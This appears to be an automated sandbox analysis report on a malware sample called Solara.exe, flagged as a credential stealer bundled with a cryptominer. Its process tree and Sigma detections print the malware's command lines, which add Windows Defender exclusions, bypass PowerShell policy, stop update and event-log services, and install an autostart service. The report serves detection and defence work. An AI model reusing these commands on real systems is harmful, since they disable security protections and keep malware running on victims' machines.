Edit tour

Windows Analysis Report
Solara.exe

Overview

General Information

Sample name:	Solara.exe
Analysis ID:	1589392
MD5:	cc6d7a6b17febe201b7f7d26ce944c08
SHA1:	231e8439c0facca7cc4b730bf950351d48e3a7c2
SHA256:	b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd
Tags:	exeuser-zhuzhu0009
Infos:

Detection

Python Stealer, Exela Stealer, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Yara detected Exela Stealer

Yara detected Python Stealer

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Changes security center settings (notifications, updates, antivirus, firewall)

Creates multiple autostart registry keys

Detected generic credential text file

Drops PE files to the startup folder

Found strings related to Crypto-Mining

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample is not signed and drops a device driver

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Uses powercfg.exe to modify the power settings

Writes or reads registry keys via WMI

Yara detected Generic Python Stealer

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates driver files

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Use Short Name Path in Command Line

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

svchost.exe (PID: 6648 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Solara.exe (PID: 5852 cmdline: "C:\Users\user\Desktop\Solara.exe" MD5: CC6D7A6B17FEBE201B7F7D26CE944C08)

powershell.exe (PID: 1512 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Solara.exe (PID: 2044 cmdline: "C:\Users\user~1\AppData\Local\Temp\Solara.exe" MD5: 089094590DF5698B03A7428A5864ED33)

powershell.exe (PID: 2468 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5576 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 5920 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 4704 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3416 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7144 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4360 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3180 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6904 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 1512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6380 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 2040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5868 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 2848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6064 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6044 cmdline: C:\Windows\system32\sc.exe delete "PGYNROQK" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4304 cmdline: C:\Windows\system32\sc.exe create "PGYNROQK" binpath= "C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4864 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6468 cmdline: C:\Windows\system32\sc.exe start "PGYNROQK" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1532 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Exela.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Exela.exe (PID: 7088 cmdline: "C:\Users\user~1\AppData\Local\Temp\Exela.exe" MD5: 0615D49BE12C174704A3DAAD945F7B56)

Exela.exe (PID: 2980 cmdline: "C:\Users\user~1\AppData\Local\Temp\Exela.exe" MD5: 0615D49BE12C174704A3DAAD945F7B56)

Conhost.exe (PID: 4484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 1464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 5760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 2040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 2044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rdqanwpudvuj.exe (PID: 7076 cmdline: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe MD5: 089094590DF5698B03A7428A5864ED33)

powershell.exe (PID: 1496 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1840 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 6120 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

Conhost.exe (PID: 5900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6352 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 960 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6740 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4008 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1272 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5696 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 4304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5828 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 4908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5092 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 1368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3812 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 4732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 5200 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 4300 cmdline: conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)

Solara.exe (PID: 3700 cmdline: "C:\Users\user\AppData\Local\Temp\Solara.exe" MD5: 089094590DF5698B03A7428A5864ED33)

powershell.exe (PID: 2468 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Solara.exe" -Verb runAs MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Conhost.exe (PID: 960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Solara.exe (PID: 3896 cmdline: "C:\Users\user\AppData\Local\Temp\Solara.exe" MD5: 089094590DF5698B03A7428A5864ED33)

powershell.exe (PID: 2044 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5980 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 4524 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 6352 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Solara.exe (PID: 6364 cmdline: "C:\Users\user\AppData\Local\Temp\Solara.exe" MD5: 089094590DF5698B03A7428A5864ED33)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000004D.00000003.2068669850.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
0000004D.00000003.2070969941.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
0000004D.00000002.2093996201.0000019BB72E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000004D.00000003.2072039698.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
0000004D.00000002.2083587274.0000019BB56B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
0000004D.00000002.2083587274.0000019BB56B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
0000004D.00000003.2049850078.0000019BB5088000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000004D.00000003.2074477936.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
0000004D.00000002.2084894174.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
0000004D.00000003.2069028034.0000019BB5EE7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
0000004D.00000002.2087167617.0000019BB60C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000004D.00000002.2086690451.0000019BB5FC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
0000004D.00000002.2086690451.0000019BB5FC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
0000004D.00000002.2086690451.0000019BB5FC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000042.00000002.2596176431.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000042.00000002.2596176431.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37eb98:$a1: mining.set_target 0x370e20:$a2: XMRIG_HOSTNAME 0x373748:$a3: Usage: xmrig [OPTIONS] 0x370df8:$a4: XMRIG_VERSION
0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
0000004D.00000003.2049788391.0000019BB635C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
66.2.conhost.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
66.2.conhost.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37ef98:$a1: mining.set_target 0x371220:$a2: XMRIG_HOSTNAME 0x373b48:$a3: Usage: xmrig [OPTIONS] 0x3711f8:$a4: XMRIG_VERSION
66.2.conhost.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3c8ee1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
66.2.conhost.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3c9748:$s1: %s/%s (Windows NT %lu.%lu 0x3cd180:$s3: \\.\WinRing0_ 0x376148:$s4: pool_wallet 0x3705f0:$s5: cryptonight 0x370600:$s5: cryptonight 0x370610:$s5: cryptonight 0x370620:$s5: cryptonight 0x370638:$s5: cryptonight 0x370648:$s5: cryptonight 0x370658:$s5: cryptonight 0x370670:$s5: cryptonight 0x370680:$s5: cryptonight 0x370698:$s5: cryptonight 0x3706b0:$s5: cryptonight 0x3706c0:$s5: cryptonight 0x3706d0:$s5: cryptonight 0x3706e0:$s5: cryptonight 0x3706f8:$s5: cryptonight 0x370710:$s5: cryptonight 0x370720:$s5: cryptonight 0x370730:$s5: cryptonight

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\Solara.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\Solara.exe, ParentProcessId: 2044, ParentProcessName: Solara.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 6904, ProcessName: powercfg.exe

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\Solara.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Solara.exe, ProcessId: 5852, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Solara

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Solara.exe", ParentImage: C:\Users\user\Desktop\Solara.exe, ParentProcessId: 5852, ParentProcessName: Solara.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', ProcessId: 1512, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Solara.exe", ParentImage: C:\Users\user\Desktop\Solara.exe, ParentProcessId: 5852, ParentProcessName: Solara.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', ProcessId: 1512, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Solara.exe", ParentImage: C:\Users\user\Desktop\Solara.exe, ParentProcessId: 5852, ParentProcessName: Solara.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', ProcessId: 1512, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Solara.exe", ParentImage: C:\Users\user\Desktop\Solara.exe, ParentProcessId: 5852, ParentProcessName: Solara.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe', ProcessId: 1512, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

